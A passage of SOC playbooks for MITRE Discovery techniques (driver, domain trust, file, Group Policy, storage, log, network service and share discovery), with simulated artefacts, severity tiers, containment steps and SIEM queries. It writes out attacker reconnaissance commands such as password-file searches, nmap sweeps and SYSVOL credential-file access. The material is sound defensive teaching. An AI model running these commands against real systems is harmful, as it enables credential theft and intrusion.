Context: SOC detects a suspicious process enumerating loaded drivers on a workstation. The process specifically queries drivers associated with EDR and virtualization. Later, a vulnerable signed driver is loaded to disable security controls.

Attacker objective: Understand the kernel landscape to bypass defenses or escalate privileges.

Defender objective: Detect driver reconnaissance early and prevent kernel-level compromise.

What it looks like (simulated SOC artefacts)

A) Loaded Driver Enumeration (Windows)

Command=driverquery
Output=edrdrv.sys, vmmouse.sys, disk.sys

B) Kernel Module Listing (Linux)

Command=lsmod
Module=edr_module

C) Registry-Based Driver Discovery

HKLM\SYSTEM\CurrentControlSet\Services\
Enum=Drivers

D) Driver File Discovery

Path=C:\Windows\System32\drivers\
Access=Read

E) Focus on Security Drivers

DriverName=security_agent.sys
QueryFrequency=High

F) Recon-Only Phase

Action=Discovery
DriverLoad=None

Severity decision (SOC)

Low

- Legitimate admin or hardware management activity

Medium

- Driver discovery by non-admin or suspicious process

High / Critical

- Discovery of security drivers followed by exploitation or bypass
- Driver discovery combined with vulnerable driver loading

Example severity: High

(EDR driver enumeration by unknown process)

Step-by-step SOC workflow

Step 1 Validate device driver discovery

Confirm:

1. Which drivers or modules were enumerated?
2. Was the activity authorised for the user/process?
3. Is the focus on security, virtualization or kernel drivers?
4. Does discovery precede exploit or driver load activity?

Decision point

- Legitimate admin activity → document and monitor
- Suspicious discovery → continue investigation immediately

Step 2 Identify discovery method and scope

Method	Evidence	Attacker value
Command-line tools	driverquery, lsmod	Full kernel view
Registry queries	Services keys	Persistence planning
File enumeration	/drivers/	Vulnerability scanning
API calls	EnumDeviceDrivers	Evasion prep

Step 3 Map behaviour to attacker intent

3A) Defense Evasion Preparation

Indicators

- Discovery of EDR or security drivers

Attacker intent

- Identify what to bypass or disable

3B) Privilege Escalation Planning

Indicators

- Focus on signed or outdated drivers

Attacker intent

- Exploit kernel vulnerabilities

3C) Sandbox / VM Detection

Indicators

- Enumeration of virtual device drivers

Attacker intent

- Adapt behaviour or evade analysis

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Exploitation for Privilege Escalation
 - Vulnerable driver abuse
2. Rootkit
 - Malicious driver installation
3. Defense Evasion
 - Disable or blind security tools
4. Persistence
 - Driver-based autostart mechanisms

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Terminate suspicious discovery processes
2. Isolate affected endpoints if necessary
3. Block known vulnerable driver hashes

If abuse confirmed

1. Prevent driver installation via policy (e.g., HVCI, WDAC)
2. Remove malicious or unauthorised drivers
3. Rebuild systems if kernel integrity is compromised
4. Preserve memory and kernel logs for forensics

Eradication and recovery

- Enforce driver signing and blocklists
- Enable kernel protections (HVCI, Secure Boot)
- Patch vulnerable drivers and OS components
- Audit driver load events regularly
- Monitor closely for renewed kernel reconnaissance

Detection engineering (SIEM ideas)

A) Driver enumeration commands

index=edr
| where command IN ("driverquery","lsmod","modinfo")

B) Registry driver discovery

index=windows
| where registry_path LIKE "%\\SYSTEM\\CurrentControlSet\\Services%"
| where access_type="Read"

C) Security driver targeting

index=edr
| where driver_name IN security_driver_list
| where query_frequency > threshold

Analyst checklist

- Device driver discovery confirmed
- Process legitimacy assessed
- Security drivers targeted identified
- Follow-on kernel exploitation risk evaluated
- Monitoring and controls strengthened

Post-incident improvements

- Treat driver discovery as precursor to kernel attacks
- Monitor enumeration of kernel components
- Block known vulnerable drivers proactively
- Strengthen kernel-level protections
- Include driver abuse scenarios in SOC and purple-team exercises

Playbook 159 (MITRE Discovery): Domain Trust Discovery

Technique: Domain Trust Discovery

Purpose

Detect, investigate and respond to attacker discovery of trust relationships between Active Directory domains or forests, enabling attackers to:

- Identify additional domains reachable via trust
- Pivot laterally across trusted domains or forests
- Target weaker or legacy-trusted environments
- Abuse transitive trusts for privilege escalation
- Expand impact beyond the initially compromised domain

Domain Trust Discovery is identity-boundary reconnaissance attackers learn where authentication is implicitly trusted.

When to trigger this playbook

Trigger this playbook when indicators suggest enumeration of domain/forest trust relationships, including:

- Commands or LDAP queries retrieving trust objects
- Enumeration of inbound/outbound or transitive trusts
- Queries executed from non-admin contexts
- Trust discovery followed by cross-domain authentication attempts
- Discovery activity preceding Kerberos abuse (TGT/TGS across trusts)

Example use case scenario (end-to-end)

Context: SOC detects a compromised workstation executing multiple directory queries. The queries enumerate two-way transitive trusts with a legacy domain. Soon after, Kerberos authentication attempts target servers in the trusted domain using harvested credentials.

Attacker objective: Map trust paths to expand access across domains.

Defender objective: Detect trust reconnaissance early and block cross-domain pivoting.

What it looks like (simulated SOC artefacts)

A) Trust Enumeration Command

Command=nltest /domain_trusts
Result=2 trusted domains

B) LDAP Trust Object Queries

ObjectClass=trustedDomain
Attributes=trustDirection, trustType

C) Forest Trust Discovery

Command=nltest /trusted_domains
ForestTrust=true

D) PowerShell-Based Discovery

Get-ADTrust -Filter *

E) Non-Admin Context

User=standard_user
Action=TrustEnumeration

F) Recon-Only Phase

CrossDomainAuth=None
Phase=Discovery

Severity decision (SOC)

Low

- Expected AD administration or audit activity

Medium

- Trust discovery from non-admin user or workstation

High / Critical

- Trust discovery followed by cross-domain auth attempts
- Discovery of legacy or weakly secured trust relationships

Example severity: High

(Non-admin trust enumeration + follow-on Kerberos activity)

Step-by-step SOC workflow

Step 1 Validate domain trust discovery

Confirm:

1. Which trusts were enumerated (inbound, outbound, transitive)?
2. Was the activity authorised for the user/host?
3. Is the discovery broad or targeted?
4. Does it precede cross-domain authentication?

Decision point

- Legitimate admin audit → document and monitor
- Suspicious trust discovery → continue investigation immediately

Step 2 Identify discovery method and scope

Method	Evidence	Attacker value
nltest	Trust lists	Pivot mapping
LDAP queries	trustedDomain	Automation
PowerShell	Get-ADTrust	Rapid recon
Forest queries	Forest trusts	Large expansion

Step 3 Map behaviour to attacker intent

3A) Lateral Expansion Planning

Indicators

- Enumeration of transitive trusts

Attacker intent

- Move beyond initial domain

3B) Weak Trust Targeting

Indicators

- Focus on legacy or one-way trusts

Attacker intent

- Exploit weaker security posture

3C) Kerberos Abuse Preparation

Indicators

- Trust discovery followed by Kerberos activity

Attacker intent

- Abuse cross-domain authentication

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Steal or Forge Kerberos Tickets
 - Cross-domain ticket usage
2. Valid Accounts
 - Logins in trusted domains
3. Lateral Movement
 - SMB/RPC across domains
4. Privilege Escalation
 - Trust abuse paths

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Monitor and restrict cross-domain authentication attempts
2. Isolate compromised hosts performing trust discovery
3. Increase logging on trust and Kerberos events

If abuse confirmed

1. Temporarily restrict or disable affected trusts (if feasible)
2. Reset credentials used across trust boundaries
3. Harden trust configurations (SID filtering, selective auth)
4. Preserve directory and security logs for forensics

Eradication and recovery

- Remove attacker footholds and compromised identities
- Review and harden all domain and forest trusts
- Enforce selective authentication where possible
- Audit trust necessity and remove unused trusts
- Monitor closely for renewed trust enumeration

Detection engineering (SIEM ideas)

A) Trust enumeration commands

```
index=windows  
| where command IN ("nltest /domain_trusts","nltest /trusted_domains")
```

B) LDAP trust object queries

```
index=directory  
| where object_class="trustedDomain"  
| where caller_role!="Admin"
```

C) PowerShell trust discovery

```
index=windows  
| where script_block LIKE "%Get-ADTrust%"
```

Analyst checklist

- Domain trust discovery confirmed
- Trust types and scope identified
- Authorisation assessed
- Cross-domain attack risk evaluated
- Monitoring strengthened

Post-incident improvements

- Treat trust discovery as precursor to multi-domain compromise
- Minimise and justify all trust relationships
- Enforce selective authentication and SID filtering
- Monitor trust discovery → Kerberos usage chains
- Include trust abuse scenarios in SOC and purple-team exercises

Playbook 160 (MITRE Discovery): File and Directory Discovery

Technique: File and Directory Discovery

Purpose

Detect, investigate and respond to attacker enumeration of files and directories across endpoints, servers and network shares, enabling attackers to:

- Identify sensitive data (credentials, configs, backups, exports)
- Locate scripts, binaries and tools for abuse
- Discover application layouts and data paths
- Select targets for exfiltration, encryption or destruction
- Prepare follow-on actions with precision and minimal noise

File and Directory Discovery is data and capability reconnaissance attackers learn what exists and where before acting.

When to trigger this playbook

Trigger this playbook when indicators suggest systematic file or directory enumeration, including:

- Commands or APIs listing directories recursively
- Enumeration of user home directories, app folders or config paths
- Discovery of network shares or mounted drives
- File searches using sensitive keywords (password, key, backup)
- Discovery activity from non-admin or unusual processes
- Discovery preceding credential access, exfiltration or impact actions

Example use case scenario (end-to-end)

Context: SOC detects a compromised endpoint executing recursive directory listings across user profiles and shared drives. The activity focuses on configuration folders and backup directories. Shortly after, credentials found in files are reused for lateral movement.

Attacker objective: Locate high-value files (secrets, configs, data) to enable further compromise.

Defender objective: Detect discovery early and prevent data abuse or theft.

What it looks like (simulated SOC artefacts)

A) Recursive Directory Listing (Windows)

Command=dir C:\ /s /b

User=standard_user

B) File Enumeration (Linux)

Command=find / -type f -name "*.conf"

C) Keyword-Based Search

Command=find / -iname "*password*"

D) Network Share Discovery

Command=net view \\FILESERVER

E) Focus on Sensitive Paths

Paths=C:\Users*\Documents, /etc/, /var/backups/

F) Recon-Only Phase

FileRead=false

Phase=Discovery

Severity decision (SOC)

Low

- Legitimate IT inventory, backup or admin activity

Medium

- Broad discovery by non-admin user or process

High / Critical

- Targeted discovery of sensitive paths
- Discovery followed by credential theft, exfiltration or impact

Example severity: High

(Recursive search of sensitive directories by compromised user)

Step-by-step SOC workflow

Step 1 Validate file and directory discovery

Confirm:

1. Which paths were enumerated?
2. Was the activity authorised for the user/process?
3. Is enumeration broad or targeted?
4. Does it precede suspicious file access or transfer?

Decision point

- Legitimate maintenance → document and monitor
- Suspicious discovery → continue investigation immediately

Step 2 Identify discovery method and scope

Method	Evidence	Attacker value
Recursive listing	dir /s, find /	Full visibility
Keyword search	*password*, *key*	Secret hunting
Share enumeration	net view	Lateral movement
Config discovery	.conf, .env	App compromise
Backup discovery	/backups, .bak	High-value data

Step 3 Map behaviour to attacker intent

3A) Sensitive Data Identification

Indicators

- Searches for credentials or backups

Attacker intent

- Steal secrets or data

3B) Environment Understanding

Indicators

- Discovery of app and directory structure

Attacker intent

- Prepare targeted abuse

3C) Impact Preparation

Indicators

- Enumeration of large data stores

Attacker intent

- Plan exfiltration or encryption

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Unsecured Credentials
 - Secrets in files or configs
2. Exfiltration
 - File access, compression, transfer
3. Impact
 - File deletion, encryption
4. Lateral Movement
 - Use of discovered shares or scripts

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Stop suspicious discovery processes
2. Isolate affected endpoints if necessary
3. Restrict access to sensitive directories

If abuse confirmed

1. Rotate exposed credentials found in files
2. Remove or secure sensitive files
3. Review access permissions on discovered paths
4. Preserve logs and file metadata for forensics

Eradication and recovery

- Remove attacker footholds
- Enforce least privilege on file systems and shares
- Centralise secrets into secure vaults
- Harden backup and archive access
- Monitor closely for renewed discovery activity

Detection engineering (SIEM ideas)

A) Recursive directory listing

index=edr
| where command IN ("dir /s", "find /", "tree")

B) Sensitive keyword search

index=edr
| where command LIKE "%password%" OR command LIKE "%secret%"

C) Network share enumeration

index=windows
| where command="net view"

Analyst checklist

- File/directory discovery confirmed
- Paths and scope identified
- Authorisation assessed
- Follow-on risk evaluated
- Controls strengthened

Post-incident improvements

- Treat file discovery as early-stage data theft indicator
- Reduce plaintext secrets on disk
- Segment and protect sensitive directories
- Monitor discovery → access chains
- Include file recon scenarios in SOC and purple-team exercises

Playbook 161 (MITRE Discovery): Group Policy Discovery

Technique: Group Policy Discovery

Purpose

Detect, investigate and respond to attacker discovery of Group Policy Objects (GPOs) and their settings, enabling attackers to:

- Understand security controls enforced across the environment
- Identify misconfigurations, legacy settings or weak policies
- Locate policies that grant elevated rights or deploy credentials
- Plan privilege escalation, lateral movement or persistence
- Target policy-based attack paths (logon scripts, GPP, startup tasks)

Group Policy Discovery is control-plane reconnaissance attackers learn what rules govern systems and users before abusing them.

When to trigger this playbook

Trigger this playbook when indicators suggest enumeration or inspection of Group Policy, including:

- Commands or PowerShell querying GPOs and their links
- LDAP queries against GPO containers or policy files
- Access to SYSVOL contents (scripts, preferences)
- Discovery activity from non-admin users or workstations
- GPO discovery preceding privilege escalation or persistence attempts

Example use case scenario (end-to-end)

Context: SOC detects a compromised workstation executing PowerShell to list all GPOs and their applied settings. The user is non-admin. Shortly after, the attacker abuses a discovered Group Policy Preference (GPP) with an embedded credential to move laterally.

Attacker objective: Map Group Policy to find weaknesses and reusable privileges.

Defender objective: Detect policy reconnaissance early and prevent policy-based abuse.

What it looks like (simulated SOC artefacts)

A) GPO Enumeration (PowerShell)

Command=Get-GPO -All

User=standard_user

B) Applied Policy Discovery

Command=gpreresult /r
Scope=Computer,User

C) SYSVOL Browsing

Path=\\DOMAIN\SYSVOL\Policies\
Action=Read

D) GPP File Access

File=Groups.xml
Location=SYSVOL

E) Policy Link Discovery

OU=Workstations
LinkedGPO=Legacy-Admin-Rights

F) Recon-Only Phase

WriteActions=None
Phase=Discovery

Severity decision (SOC)

Low

- Legitimate admin review or compliance audit

Medium

- GPO discovery by non-admin identity

High / Critical

- Discovery of GPP credentials, logon scripts or startup tasks
- Discovery followed by privilege escalation or lateral movement

Example severity: High

(Non-admin GPO enumeration + GPP credential discovery)

Step-by-step SOC workflow

Step 1 Validate Group Policy discovery

Confirm:

1. Which GPOs were enumerated or inspected?
2. Was the activity authorised for the user/host?
3. Is access read-only or probing sensitive policy content?
4. Does discovery precede suspicious account or system changes?

Decision point

- Legitimate admin activity → document and monitor
- Suspicious discovery → continue investigation immediately

Step 2 Identify discovery method and scope

Method	Evidence	Attacker value
PowerShell	Get-GPO, Get-GPInheritance	Full policy map
CLI	gpresult	Applied controls
SYSVOL access	Policy files/scripts	Credential theft
LDAP queries	GPO objects	Automation
Link inspection	OU-to-GPO mapping	Target selection

Step 3 Map behaviour to attacker intent

3A) Control Mapping

Indicators

- Enumeration of all GPOs and links

Attacker intent

- Understand enforced security posture

3B) Weakness Identification

Indicators

- Access to GPP files, scripts, startup tasks

Attacker intent

- Find credentials or misconfigurations

3C) Attack Path Planning

Indicators

- Focus on workstation/server OUs

Attacker intent

- Prepare escalation or persistence

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Unsecured Credentials
 - GPP cpassword, scripts with secrets
2. Privilege Escalation
 - Abuse of policy-granted admin rights
3. Persistence
 - Logon/startup scripts, scheduled tasks
4. Lateral Movement
 - Use of discovered credentials or rights

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Monitor and restrict further SYSVOL access
2. Isolate compromised hosts if necessary
3. Increase logging on GPO and SYSVOL reads

If abuse confirmed

1. Remove or rotate credentials embedded in policies
2. Fix or remove vulnerable GPOs and links
3. Restrict GPO read access to least privilege
4. Preserve logs and policy files for forensics

Eradication and recovery

- Eliminate attacker footholds
- Audit all GPOs for credentials and risky settings
- Remove legacy or unused policies
- Enforce secure policy management practices
- Monitor closely for renewed GPO reconnaissance

Detection engineering (SIEM ideas)

A) GPO enumeration via PowerShell

```
index=windows  
| where script_block LIKE "%Get-GPO%"
```

B) gpresult execution by non-admin

```
index=windows  
| where command="gpresult /r"  
| where user_role!="Admin"
```

C) SYSVOL access monitoring

```
index=windows  
| where file_path LIKE "%\\SYSVOL\\Policies%"  
| where access_type="Read"
```

Analyst checklist

- Group Policy discovery confirmed
- GPOs and scope identified
- Authorisation assessed
- Policy-based abuse risk evaluated
- Controls and monitoring strengthened

Post-incident improvements

- Treat GPO discovery as precursor to policy abuse
- Eliminate credentials and scripts from GPOs
- Limit read access to sensitive policy content
- Monitor GPO discovery → credential use chains
- Include GPO abuse scenarios in SOC and purple-team exercises

Playbook 162 (MITRE Discovery): Local Storage Discovery

Technique: Local Storage Discovery

Purpose

Detect, investigate and respond to attacker discovery of local storage devices, volumes and file systems, enabling attackers to:

- Identify available disks, partitions and mounted volumes
- Locate sensitive data stored outside standard directories
- Discover removable media, backup drives or secondary disks
- Map storage layout to plan data theft, encryption or destruction
- Select targets for impact actions such as ransomware

Local Storage Discovery is physical data reconnaissance attackers learn where data is stored locally, not just which files exist.

When to trigger this playbook

Trigger this playbook when indicators suggest enumeration of disks or storage devices, including:

- Commands listing disks, volumes or mount points
- Queries for removable or external storage
- Enumeration of filesystem types and sizes
- Discovery activity from non-admin or suspicious processes
- Storage discovery preceding file access, exfiltration or encryption

Example use case scenario (end-to-end)

Context: SOC detects a compromised workstation running multiple disk and volume enumeration commands. The attacker identifies an attached external drive used for backups. Later, files on that drive are selectively exfiltrated and encrypted.

Attacker objective: Map local storage layout to identify high-value or overlooked data stores.

Defender objective: Detect storage reconnaissance early and protect local data assets.

What it looks like (simulated SOC artefacts)

A) Disk Enumeration (Windows)

Command=wmic logicaldisk get name,size,freespace
User=standard_user

B) Volume Discovery (Linux)

Command=lsblk
Output=sda,sdb,usb0

C) Mounted Filesystem Listing

Command=mount
Result=/mnt/backup

D) Drive Letter Enumeration

Command=fsutil fsinfo drives
Result=C:\ D:\ E:\

E) Removable Media Discovery

DeviceType=USB
MountPoint=E:\

F) Recon-Only Phase

FileRead=false
Phase=Discovery

Severity decision (SOC)

Low

- Legitimate admin, IT support or hardware inventory activity

Medium

- Local storage discovery by non-admin user or process

High / Critical

- Discovery of backup or removable drives
- Storage discovery followed by data access, exfiltration or encryption

Example severity: High

(Backup drive enumeration by compromised user)

Step-by-step SOC workflow

Step 1 Validate local storage discovery

Confirm:

1. Which storage devices were enumerated?
2. Was the activity authorised for the user/process?
3. Is discovery broad or targeted (specific drives)?
4. Does it precede suspicious file operations?

Decision point

- Legitimate maintenance → document and monitor
- Suspicious discovery → continue investigation immediately

Step 2 Identify discovery method and scope

Method	Evidence	Attacker value
Disk listing	wmic, lsblk	Storage map
Volume queries	fsutil, mount	Data locations
Drive enumeration	Drive letters	Target selection
Removable media	USB detection	Backup theft
Filesystem metadata	Size/type	Impact planning

Step 3 Map behaviour to attacker intent

3A) Data Location Mapping

Indicators

- Enumeration of all disks and mounts

Attacker intent

- Find where data is stored

3B) Backup Identification

Indicators

- Focus on external or secondary drives

Attacker intent

- Bypass primary data protections

3C) Impact Preparation

Indicators

- Storage discovery before encryption

Attacker intent

- Maximise damage

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. File and Directory Discovery
 - Sensitive data identification
2. Exfiltration
 - File access and transfer
3. Impact
 - Ransomware or file deletion
4. Unsecured Credentials
 - Secrets stored on local drives

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Terminate suspicious discovery processes
2. Restrict access to removable or backup drives
3. Isolate affected endpoints if required

If abuse confirmed

1. Disconnect or secure removable storage
2. Review permissions on discovered volumes
3. Preserve disk and file access logs
4. Assess data exposure or damage

Eradication and recovery

- Remove attacker footholds
- Enforce least privilege on local storage access
- Encrypt sensitive local drives and backups
- Disable unnecessary removable media access
- Monitor closely for renewed storage discovery

Detection engineering (SIEM ideas)

A) Disk and volume enumeration

index=edr

| where command IN ("wmic logicaldisk", "fsutil fsinfo drives", "lsblk", "mount")

B) Removable media discovery

index=edr

| where device_type="USB"

| where action="Enumerate"

C) Storage discovery by non-admin

index=edr

| where action="StorageDiscovery"

| where user_role!="Admin"

Analyst checklist

- Local storage discovery confirmed
- Devices and volumes identified
- Authorisation assessed
- Follow-on risk evaluated
- Controls strengthened

Post-incident improvements

- Treat local storage discovery as early data compromise signal
- Restrict access to backup and removable drives
- Encrypt all sensitive local storage
- Monitor storage discovery → file access chains
- Include local storage recon scenarios in SOC and purple-team exercises

Playbook 163 (MITRE Discovery): Log Enumeration

Technique: Log Enumeration

Purpose

Detect, investigate and respond to attacker discovery and enumeration of system, application, security or audit logs, enabling attackers to:

- Identify what activities are logged and monitored
- Understand detection coverage and blind spots
- Locate evidence of their own actions
- Plan defense evasion or log tampering
- Adjust tradecraft to avoid triggering alerts

Log Enumeration is detection-surface reconnaissance attackers learn how visible they are before deciding how to proceed.

When to trigger this playbook

Trigger this playbook when indicators suggest inspection or enumeration of logs, including:

- Commands querying available log sources or log configurations
- Enumeration of Windows Event Logs, Linux syslogs or application logs
- Access to log directories or audit configurations
- Log discovery by non-admin or suspicious processes
- Log enumeration preceding log clearing, disabling or defense evasion

Example use case scenario (end-to-end)

Context: SOC detects a compromised server account running multiple commands to list available event logs and audit settings. The attacker checks security and PowerShell logs but does not modify them initially. Later, selected logs are cleared and logging is disabled on the host.

Attacker objective: Understand what actions are being logged before evading or erasing evidence.

Defender objective: Detect log reconnaissance early and protect audit integrity.

What it looks like (simulated SOC artefacts)

A) Windows Event Log Enumeration

Command=wevtutil el
User=standard_user

B) Linux Log Discovery

Command=ls /var/log
Result=auth.log, syslog, audit.log

C) Log Configuration Inspection

Command=auditctl -l
Action=ReadOnly

D) PowerShell Log Queries

Get-WinEvent -ListLog *

E) Focus on Security Logs

Log=Security
QueryFrequency=High

F) Recon-Only Phase

LogClear=None
Phase=Discovery

Severity decision (SOC)

Low

- Legitimate troubleshooting, auditing or admin review

Medium

- Log enumeration by non-admin identity

High / Critical

- Enumeration of security/audit logs by suspicious process
- Log discovery followed by clearing, disabling or evasion

Example severity: High

(Non-admin enumerating security logs prior to tampering)

Step-by-step SOC workflow

Step 1 Validate log enumeration

Confirm:

1. Which logs were enumerated (system, security, application)?
2. Was the activity authorised for the user/process?
3. Is enumeration broad or focused on security/audit logs?
4. Does it precede log modification or defense evasion?

Decision point

- Legitimate audit activity → document and monitor
- Suspicious enumeration → continue investigation immediately

Step 2 Identify discovery method and scope

Method	Evidence	Attacker value
Event log listing	wevtutil el	Visibility mapping
PowerShell	Get-WinEvent	Automation
File system access	/var/log	Log targeting
Audit config checks	auditctl -l	Detection awareness
App log discovery	App-specific paths	Coverage gaps

Step 3 Map behaviour to attacker intent

3A) Detection Coverage Mapping

Indicators

- Listing all available logs

Attacker intent

- Understand what is monitored

3B) Evidence Awareness

Indicators

- Focus on security, auth, PowerShell logs

Attacker intent

- Check if actions are recorded

3C) Evasion Preparation

Indicators

- Enumeration without clearing

Attacker intent

- Plan stealthy next steps

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Indicator Removal
 - Log clearing or deletion
2. Impair Defenses
 - Disable logging or audit services
3. Defense Evasion
 - Alternate execution paths
4. Persistence
 - Actions hidden from logs

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Alert on and monitor further log-related activity
2. Isolate affected hosts if risk escalates
3. Protect log files and audit configurations

If abuse confirmed

1. Restore logging and audit settings
2. Preserve logs for forensic analysis
3. Rotate credentials used by the attacker
4. Expand hunt for log tampering across environment

Eradication and recovery

- Remove attacker footholds
- Enforce centralised, immutable logging
- Restrict log access to least privilege
- Validate integrity of historical logs
- Monitor closely for renewed enumeration or tampering

Detection engineering (SIEM ideas)

A) Event log enumeration

```
index=windows  
| where command IN ("wevtutil el","Get-WinEvent -ListLog *")
```

B) Linux log discovery

```
index=linux  
| where command LIKE "ls /var/log%"
```

C) Log enumeration by non-admin

```
index=edr  
| where action="LogEnumeration"  
| where user_role!="Admin"
```

Analyst checklist

- Log enumeration confirmed
- Logs and scope identified
- Authorisation assessed
- Follow-on evasion risk evaluated
- Logging protections strengthened

Post-incident improvements

- Treat log enumeration as early defense-evasion signal
- Enforce immutable and centralised logging
- Alert on enumeration of security/audit logs
- Monitor log discovery → log clearing chains
- Include log-tampering scenarios in SOC and purple-team exercises

Playbook 164 (MITRE Discovery): Network Service Discovery

Technique: Network Service Discovery

Purpose

Detect, investigate and respond to attacker discovery of network-accessible services on hosts and across networks, enabling attackers to:

- Identify running services (SMB, RDP, SSH, HTTP, LDAP, DBs, APIs)
- Discover exposed management or administrative interfaces
- Locate legacy, misconfigured or vulnerable services
- Select targets for lateral movement, exploitation or persistence
- Map internal attack paths with minimal noise

Network Service Discovery is service-level reconnaissance attackers learn what is listening, where and how before choosing the next move.

When to trigger this playbook

Trigger this playbook when indicators suggest enumeration or probing of network services, including:

- Port scanning or service enumeration commands
- Network connections to many ports or hosts in short timeframes
- Service banner grabbing or protocol negotiation without auth
- Discovery activity from non-admin users or compromised hosts
- Service discovery preceding exploitation or lateral movement

Example use case scenario (end-to-end)

Context: SOC detects a compromised workstation initiating connections to multiple internal hosts across common service ports (445, 3389, 5985, 389). No authentication succeeds initially. Shortly after, SMB and WinRM are used to move laterally using stolen credentials.

Attacker objective: Identify which network services are available to pivot or exploit.

Defender objective:

Detect service reconnaissance early and block lateral expansion.

What it looks like (simulated SOC artefacts)

A) Port Scanning Activity

Source=10.10.5.23
Destination=10.10.0.0/16
Ports=22,80,135,139,445,3389
Action=Connect

B) Service Enumeration Command (Windows)

Command=netstat -ano
Result=ListeningPorts

C) Service Discovery (Linux)

Command=ss -lntup
Services=ssh,http,mysql

D) Banner Grabbing

Connection=TCP/3389
Response=RDP Negotiation
Auth=None

E) Network Sweep

Command=nmap -sS -p 445,3389,5985
Scope=Internal

F) Recon-Only Phase

AuthAttempts=None
Phase=Discovery

Severity decision (SOC)

Low

- Approved vulnerability scanning or IT inventory

Medium

- Network service discovery by non-admin user or endpoint

High / Critical

- Broad service discovery across many hosts

- Discovery followed by authentication attempts or exploitation

Example severity: High

(Internal service scanning from compromised workstation)

Step-by-step SOC workflow

Step 1 Validate network service discovery

Confirm:

1. Which hosts and ports were probed?
2. Was the activity authorised (scanner, admin tool, SOC)?
3. Is discovery broad (sweep) or targeted (specific services)?
4. Does it precede auth attempts or exploitation?

Decision point

- Legitimate scanning → document and monitor
- Suspicious discovery → continue investigation immediately

Step 2 Identify discovery method and scope

Method	Evidence	Attacker value
Port scanning	nmap, connect sweeps	Attack surface
Local service listing	netstat, ss	Host mapping
Banner grabbing	Protocol negotiation	Service ID
Network sweeps	Many hosts	Lateral paths
Targeted probes	Specific ports	Exploitation prep

Step 3 Map behaviour to attacker intent

3A) Attack Surface Mapping

Indicators

- Enumeration of common admin/service ports

Attacker intent

- Find entry points

3B) Lateral Movement Planning

Indicators

- Focus on SMB, RDP, WinRM, SSH

Attacker intent

- Move between hosts

3C) Exploitation Preparation

Indicators

- Discovery of legacy or uncommon services

Attacker intent

- Exploit weak services

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Lateral Movement
 - SMB, RDP, WinRM, SSH usage
2. Valid Accounts
 - Auth attempts on discovered services
3. Exploitation
 - Public-facing or internal service exploits
4. Credential Access
 - Password spraying or reuse

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Block or rate-limit suspicious network scanning activity
2. Isolate compromised source hosts if required
3. Increase monitoring on discovered services

If abuse confirmed

1. Disable or restrict exposed or unused services
2. Enforce network segmentation and firewall rules
3. Rotate credentials used on discovered services
4. Preserve network and endpoint logs for forensics

Eradication and recovery

- Remove attacker footholds
- Harden network service configurations
- Disable legacy or unnecessary services
- Apply least-exposure networking principles
- Monitor closely for renewed service discovery

Detection engineering (SIEM ideas)

A) Port scanning behaviour

```
index=network
| stats count by src_ip, dest_port
| where count > threshold
```

B) Service discovery commands

```
index=edr
| where command IN ("nmap","netstat -ano","ss -lntup")
```

C) Internal sweep detection

```
index=network
| stats dc(dest_ip) by src_ip
| where dc(dest_ip) > threshold
```

Analyst checklist

- Network service discovery confirmed
- Hosts, ports and scope identified
- Authorisation assessed
- Lateral movement risk evaluated
- Controls and monitoring strengthened

Post-incident improvements

- Treat network service discovery as early lateral-movement signal
- Minimise exposed internal services

- Segment networks by trust level
- Monitor service discovery → auth/exploit chains
- Include service recon scenarios in SOC and purple-team exercises

Playbook 165 (MITRE Discovery): Network Share Discovery

Technique: Network Share Discovery

Purpose

Detect, investigate and respond to attacker discovery of network file shares across the environment, enabling attackers to:

- Identify shared storage locations and data repositories
- Locate sensitive data, backups, scripts and credentials
- Discover writable shares for lateral movement or malware staging
- Map trust relationships between hosts and users
- Prepare for exfiltration, ransomware or persistence

Network Share Discovery is shared-data reconnaissance attackers learn where data is shared and who can access it.

When to trigger this playbook

Trigger this playbook when indicators suggest enumeration of network shares, including:

- Commands listing SMB/NFS shares on hosts or servers
- Enumeration of accessible shares without file access
- Discovery from non-admin or compromised identities
- Broad scanning of multiple hosts for available shares
- Share discovery preceding data access, malware staging or encryption

Example use case scenario (end-to-end)

Context: SOC detects a compromised workstation enumerating SMB shares across several internal file servers. The attacker identifies a writable “Projects” share and later uploads tooling and accesses sensitive documents.

Attacker objective: Map shared storage and access paths to enable lateral movement and data theft.

Defender objective: Detect share reconnaissance early and protect shared data assets.

What it looks like (simulated SOC artefacts)

A) SMB Share Enumeration (Windows)

Command=net view \\FILESERVER

User=standard_user

B) Local Share Listing

Command=net share

Result=ADMIN\$, C\$, Projects

C) PowerShell-Based Discovery

Get-SmbShare

Scope=Remote

D) Linux/NFS Share Discovery

Command=showmount -e fileserver

E) Multi-Host Share Scanning

Targets=10.10.20.10-20

Action=ShareList

F) Recon-Only Phase

FileAccess=None

Phase=Discovery

Severity decision (SOC)

Low

- Legitimate IT administration or asset inventory

Medium

- Share discovery by non-admin user or unusual endpoint

High / Critical

- Broad enumeration across many hosts
- Discovery of writable or sensitive shares
- Share discovery followed by file access or malware upload

Example severity: High

(Non-admin enumerating writable shares across servers)

Step-by-step SOC workflow

Step 1 Validate network share discovery

Confirm:

1. Which hosts were queried for shares?
2. Was the activity authorised for the user/process?
3. Is discovery targeted or sweeping?
4. Does it precede file access or lateral movement?

Decision point

- Legitimate admin activity → document and monitor
- Suspicious discovery → continue investigation immediately

Step 2 Identify discovery method and scope

Method	Evidence	Attacker value
SMB commands	net view, net share	Share mapping
PowerShell	Get-SmbShare	Automation
NFS discovery	showmount	Cross-platform access
Multi-host scans	Repeated queries	Lateral paths
Writable share ID	Permissions checks	Tool staging

Step 3 Map behaviour to attacker intent

3A) Shared Data Identification

Indicators

- Enumeration of user and project shares

